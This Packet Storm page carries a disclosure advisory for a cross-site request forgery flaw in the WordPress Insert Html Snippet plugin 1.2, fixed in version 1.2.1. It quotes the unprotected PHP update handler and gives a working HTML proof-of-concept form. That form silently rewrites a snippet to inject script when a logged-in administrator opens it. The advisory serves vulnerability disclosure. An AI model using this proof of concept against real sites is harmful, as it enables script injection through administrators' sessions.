exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery
Posted Nov 29, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Insert Html Snippet plugin version 1.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 88cdb0cc08fc0716a77ecedb0dcebc1babd0f1b3b9aff65d890c24afc0b2ffb3

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery in Insert Html Snippet WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0027

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Insert Html Snippet WordPress Plugin is
vulnerable to Cross-Site Request Forgery. Amongst others, this issue can
be used to update an existing HTML snippet. This can be used to insert
arbitrary HTML and scripting code within a post or page that uses the
snippet. In order to exploit this issue, the attacker has to lure/force
a logged on WordPress Administrator into opening a malicious website.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Insert Html Snippet WordPress
Plugin version 1.2.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue has been addressed in Insert Html Snippet version 1.2.1.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_insert_html_snippet_wordpress_plugin.html

This issue exists because Insert Html Snippet lacks protection against Cross-Site Request Forgery attacks. See for example the code that is used to edit a snippet.

if(isset($_POST) && isset($_POST['updateSubmit'])){

// echo '<pre>';
// print_r($_POST);
// die("JJJ");
$_POST = stripslashes_deep($_POST);
$_POST = xyz_trim_deep($_POST);

$xyz_ihs_snippetId = $_GET['snippetId'];

$temp_xyz_ihs_title = str_replace(' ', '', $_POST['snippetTitle']);
$temp_xyz_ihs_title = str_replace('-', '', $temp_xyz_ihs_title);

$xyz_ihs_title = str_replace(' ', '-', $_POST['snippetTitle']);
$xyz_ihs_content = $_POST['snippetContent'];

if($xyz_ihs_title != "" && $xyz_ihs_content != ""){

if(ctype_alnum($temp_xyz_ihs_title))
{
$snippet_count = $wpdb->query($wpdb->prepare( 'SELECT * FROM '.$wpdb->prefix.'xyz_ihs_short_code WHERE id!=%d AND title=%s LIMIT 0,1',$xyz_ihs_snippetId,$xyz_ihs_title)) ;

if($snippet_count == 0){
$xyz_shortCode = '[xyz-ihs snippet="'.$xyz_ihs_title.'"]';

$wpdb->update($wpdb->prefix.'xyz_ihs_short_code', array('title'=>$xyz_ihs_title,'content'=>$xyz_ihs_content,'short_code'=>$xyz_shortCode,), array('id'=>$xyz_ihs_snippetId));

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=insert-html-snippet-manage&action=snippet-edit&snippetId=1&pageno=1" method="POST">
<input type="hidden" name="snippetId" value="1" />
<input type="hidden" name="snippetTitle" value="Fu" />
<input type="hidden" name="snippetContent" value="<script>alert(1);</script>" />
<input type="hidden" name="updateSubmit" value="Update" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close